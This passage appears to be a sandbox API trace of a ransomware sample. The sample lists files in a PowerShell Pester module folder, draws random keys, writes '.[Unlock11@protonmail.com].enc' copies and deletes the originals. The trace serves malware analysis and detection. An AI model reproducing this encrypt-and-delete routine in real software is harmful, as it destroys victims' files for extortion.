returned 0x1 [0231.127] GetFileType (hFile=0x39c) returned 0x1 [0231.127] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.127] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.127] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.131] CloseHandle (hObject=0x39c) returned 1 [0231.131] CloseHandle (hObject=0x334) returned 1 [0231.131] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\nunit_schema_2.5.xsd" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\nunit_schema_2.5.xsd")) returned 0 [0231.132] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.nuspec", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.nuspec", lpFilePart=0x9bada4*="Pester.nuspec") returned 0x4b [0231.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0231.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0231.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.132] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0231.132] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psd1", lpFilePart=0x9bada4*="Pester.psd1") returned 0x49 [0231.132] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.133] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.psm1", lpFilePart=0x9bada4*="Pester.psm1") returned 0x49 [0231.133] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.Tests.ps1", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\Pester.Tests.ps1", lpFilePart=0x9bada4*="Pester.Tests.ps1") returned 0x4e [0231.133] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0231.133] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md", lpFilePart=0x9bada4*="README.md") returned 0x47 [0231.133] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\readme.md"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510e2ae3, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510e2ae3, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510e2ae3, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x1124)) returned 1 [0231.134] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3674b9c | out: pbBuffer=0x3674b9c) returned 1 [0231.134] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\readme.md"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.134] GetFileType (hFile=0x334) returned 0x1 [0231.134] GetFileType (hFile=0x334) returned 0x1 [0231.134] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.134] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.134] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.135] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.135] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.135] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\readme.md.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.135] GetFileType (hFile=0x39c) returned 0x1 [0231.135] GetFileType (hFile=0x39c) returned 0x1 [0231.135] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.136] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.136] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.140] CloseHandle (hObject=0x39c) returned 1 [0231.140] CloseHandle (hObject=0x334) returned 1 [0231.140] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\README.md" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\readme.md")) returned 0 [0231.141] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7490 [0231.141] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc7ffa5e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.141] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Pester.bat", cAlternateFileName="")) returned 1 [0231.142] FindNextFileA (in: hFindFile=0x10f7490, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="Pester.bat", cAlternateFileName="")) returned 0 [0231.142] FindClose (in: hFindFile=0x10f7490 | out: hFindFile=0x10f7490) returned 1 [0231.142] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin\\pester.bat")) returned 0x20 [0231.144] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a21a0 | out: hHeap=0x2ad0000) returned 1 [0231.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881288 [0231.144] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat", lpFilePart=0x9bada4*="Pester.bat") returned 0x4c [0231.144] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0231.144] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin\\pester.bat"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x511551ea, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x511551ea, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x511551ea, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x3b9)) returned 1 [0231.145] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36744e4 | out: pbBuffer=0x36744e4) returned 1 [0231.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0231.145] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a48a8 [0231.145] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0231.145] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin\\pester.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.145] GetFileType (hFile=0x334) returned 0x1 [0231.145] GetFileType (hFile=0x334) returned 0x1 [0231.146] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.146] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.146] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.146] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin\\pester.bat.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.168] GetFileType (hFile=0x39c) returned 0x1 [0231.168] GetFileType (hFile=0x39c) returned 0x1 [0231.168] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.169] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.169] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.169] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.169] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.169] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.169] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.171] CloseHandle (hObject=0x39c) returned 1 [0231.172] CloseHandle (hObject=0x334) returned 1 [0231.172] DeleteFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\bin\\Pester.bat" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\bin\\pester.bat")) returned 0 [0231.172] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\*.*", lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7310 [0231.173] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xcb9c8f, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xbc800002, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x34a924f, ftLastWriteTime.dwHighDateTime=0x1d112e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0231.173] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_BeforeEach_AfterEach.help.txt", cAlternateFileName="")) returned 1 [0231.173] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5117b441, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5117b441, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5117b441, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x18fa, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_Mocking.help.txt", cAlternateFileName="")) returned 1 [0231.173] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13ba, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_Pester.help.txt", cAlternateFileName="")) returned 1 [0231.173] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x510bc884, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x510bc884, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x510bc884, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x145e, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_should.help.txt", cAlternateFileName="")) returned 1 [0231.174] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 1 [0231.174] FindNextFileA (in: hFindFile=0x10f7310, lpFindFileData=0x9bad90 | out: lpFindFileData=0x9bad90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5112ef90, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x5112ef90, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x5112ef90, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x482, dwReserved0=0x9bab4c, dwReserved1=0x73013d47, cFileName="about_TestDrive.help.txt", cAlternateFileName="")) returned 0 [0231.174] FindClose (in: hFindFile=0x10f7310 | out: hFindFile=0x10f7310) returned 1 [0231.174] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_beforeeach_aftereach.help.txt")) returned 0x20 [0231.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19888 | out: hHeap=0x2ad0000) returned 1 [0231.175] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0231.175] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Mocking.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_mocking.help.txt")) returned 0x20 [0231.175] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de820 | out: hHeap=0x2ad0000) returned 1 [0231.175] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_Pester.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_pester.help.txt")) returned 0x20 [0231.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0231.176] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_should.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_should.help.txt")) returned 0x20 [0231.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de8f0 | out: hHeap=0x2ad0000) returned 1 [0231.176] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_TestDrive.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_testdrive.help.txt")) returned 0x20 [0231.176] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31de680 | out: hHeap=0x2ad0000) returned 1 [0231.177] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x38812d0, Size=0x20) returned 0x3733e90 [0231.177] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881288 | out: hHeap=0x2ad0000) returned 1 [0231.177] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt", lpFilePart=0x9bada4*="about_BeforeEach_AfterEach.help.txt") returned 0x67 [0231.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0231.177] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_beforeeach_aftereach.help.txt"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51108d39, ftCreationTime.dwHighDateTime=0x1d112e3, ftLastAccessTime.dwLowDateTime=0x51108d39, ftLastAccessTime.dwHighDateTime=0x1d112e3, ftLastWriteTime.dwLowDateTime=0x51108d39, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0xc25)) returned 1 [0231.177] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x36746ec | out: pbBuffer=0x36746ec) returned 1 [0231.177] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0231.178] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a4ec8 [0231.178] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0231.178] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_beforeeach_aftereach.help.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0231.178] GetFileType (hFile=0x334) returned 0x1 [0231.178] GetFileType (hFile=0x334) returned 0x1 [0231.178] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0231.178] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.179] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0231.179] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0231.179] CreateFileA (lpFileName="C:\\Program Files (x86)\\WindowsPowerShell\\Modules\\Pester\\3.3.5\\en-US\\about_BeforeEach_AfterEach.help.txt.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\windowspowershell\\modules\\pester\\3.3.5\\en-us\\about_beforeeach_aftereach.help.txt.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0231.181] GetFileType (hFile=0x39c) returned 0x1 [0231.181] GetFileType (hFile=0x39c) returned 0x1 [0231.182] GetFileInformationByHandle (in: 